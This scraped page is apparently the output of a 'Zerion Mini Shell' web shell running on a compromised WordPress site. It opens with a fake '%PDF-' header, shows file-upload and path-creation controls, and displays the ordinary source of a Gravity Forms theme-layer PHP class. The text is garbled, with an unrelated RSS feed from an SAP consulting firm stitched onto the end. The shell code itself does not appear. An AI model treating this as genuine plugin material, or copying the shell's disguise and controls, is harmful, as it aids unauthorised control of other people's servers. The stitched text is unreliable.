%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom329039/wp-content/plugins/gravityforms/includes/theme-layers/framework/
Upload File :
Create Path :
Current File : /dom329039/wp-content/plugins/gravityforms/includes/theme-layers/framework/class-gf-theme-layer.php

<?php

namespace Gravity_Forms\Gravity_Forms\Theme_Layers\Framework;

use Gravity_Forms\Gravity_Forms\Theme_Layers\Framework\Engines\Definition_Engines\Definition_Engine;
use Gravity_Forms\Gravity_Forms\Theme_Layers\Framework\Factories\Definition_Engine_Factory;
use Gravity_Forms\Gravity_Forms\Theme_Layers\Framework\Factories\Output_Engine_Factory;

/**
 * GF_Theme_Layer
 *
 * Provides base functionality for any system which needs to implement a Theme Layer. Can either be
 * directly extended or used via the API.
 *
 * @since 2.7
 */
abstract class GF_Theme_Layer {

	protected $name;
	protected $icon;
	protected $short_title;
	protected $priority;

	/**
	 * @var Definition_Engine[]
	 */
	protected $definition_engines = array();
	protected $output_engines     = array();

	/**
	 * @var Definition_Engine_Factory
	 */
	protected $definition_engine_factory;

	/**
	 * @var Output_Engine_Factory
	 */
	protected $output_engine_factory;

	/**
	 * Constructor
	 *
	 * @since 2.7
	 *
	 * @param Definition_Engine_Factory $definition_engine_factory
	 * @param Output_Engine_Factory     $output_engine_factory
	 *
	 * @return void
	 */
	public function __construct( Definition_Engine_Factory $definition_engine_factory, Output_Engine_Factory $output_engine_factory ) {
		$this->definition_engine_factory = $definition_engine_factory;
		$this->output_engine_factory     = $output_engine_factory;
		$this->init_engines();
	}

	/**
	 * Initialize the various engines the current Theme Layer implements.
	 *
	 * @since 2.7
	 *
	 * @return void
	 */
	public function init_engines() {
		$methods = get_class_methods( $this );

		// Traits will define an `add_engine_{engine_name}` method that we can key from here.
		foreach ( $methods as $method ) {
			if ( strpos( $method, 'add_engine_' ) === false ) {
				continue;
			}

			$this->$method();
		}
	}

	public function output_engines() {
		return $this->output_engines;
	}

	public function output_engine_by_type( $type ) {
		$engines_of_type = array_filter( $this->output_engines, function( $engine ) use ( $type ) {
			return is_a( $engine, $type );
		});

		return empty( $engines_of_type ) ? null : array_shift( $engines_of_type );
	}

	/**
	 * Get the definitions for this theme layer.
	 *
	 * @since 2.7
	 *
	 * @return array
	 */
	public function get_definitions() {
		$definitions = array();

		foreach ( $this->definition_engines as $engine ) {
			if ( ! isset( $definitions[ $engine->type() ] ) ) {
				$definitions[ $engine->type() ] = array();
			}
			$definitions[ $engine->type() ] = array_merge( $definitions[ $engine->type() ], $engine->get_definitions() );
		}

		return $definitions;
	}

	/**
	 * Getter for name
	 *
	 * @since 2.7
	 *
	 * @return string
	 */
	public function name() {
		return $this->name;
	}

	/**
	 * Getter for priority
	 *
	 * @since 2.7
	 *
	 * @return int
	 */
	public function priority() {
		return $this->priority;
	}

	/**
	 * Getter for short_title
	 *
	 * @since 2.7
	 *
	 * @return string
	 */
	public function short_title() {
		return $this->short_title;
	}

	public function icon() {
		return $this->icon;
	}

}

Zerion Mini Shell 1.0
GMH Consulting Group LLC https://gmhconsultinggroup.com/ The global benchmark in the successful delivery of all SAP projects. Mon, 09 Oct 2023 18:12:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.13 https://gmhconsultinggroup.com/wp-content/uploads/2023/01/cropped-New-Project-57-32x32.png GMH Consulting Group LLC https://gmhconsultinggroup.com/ 32 32 Advantages of mRNA Vaccines https://gmhconsultinggroup.com/2022/02/134/ Wed, 02 Feb 2022 04:58:00 +0000 https://gmhconsultinggroup.com/?p=134 Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain

Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>
Digitalization of Vaccines Enabled by S/4 HANA https://gmhconsultinggroup.com/2022/02/132/ Wed, 02 Feb 2022 04:57:00 +0000 https://gmhconsultinggroup.com/?p=132 Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>
SAP Cloud Integration Platform https://gmhconsultinggroup.com/2018/09/browse-projects-accomplished-by-our-consulting-team/ Sat, 29 Sep 2018 04:56:00 +0000 https://gmhconsultinggroup.com/?p=130 Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>

Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>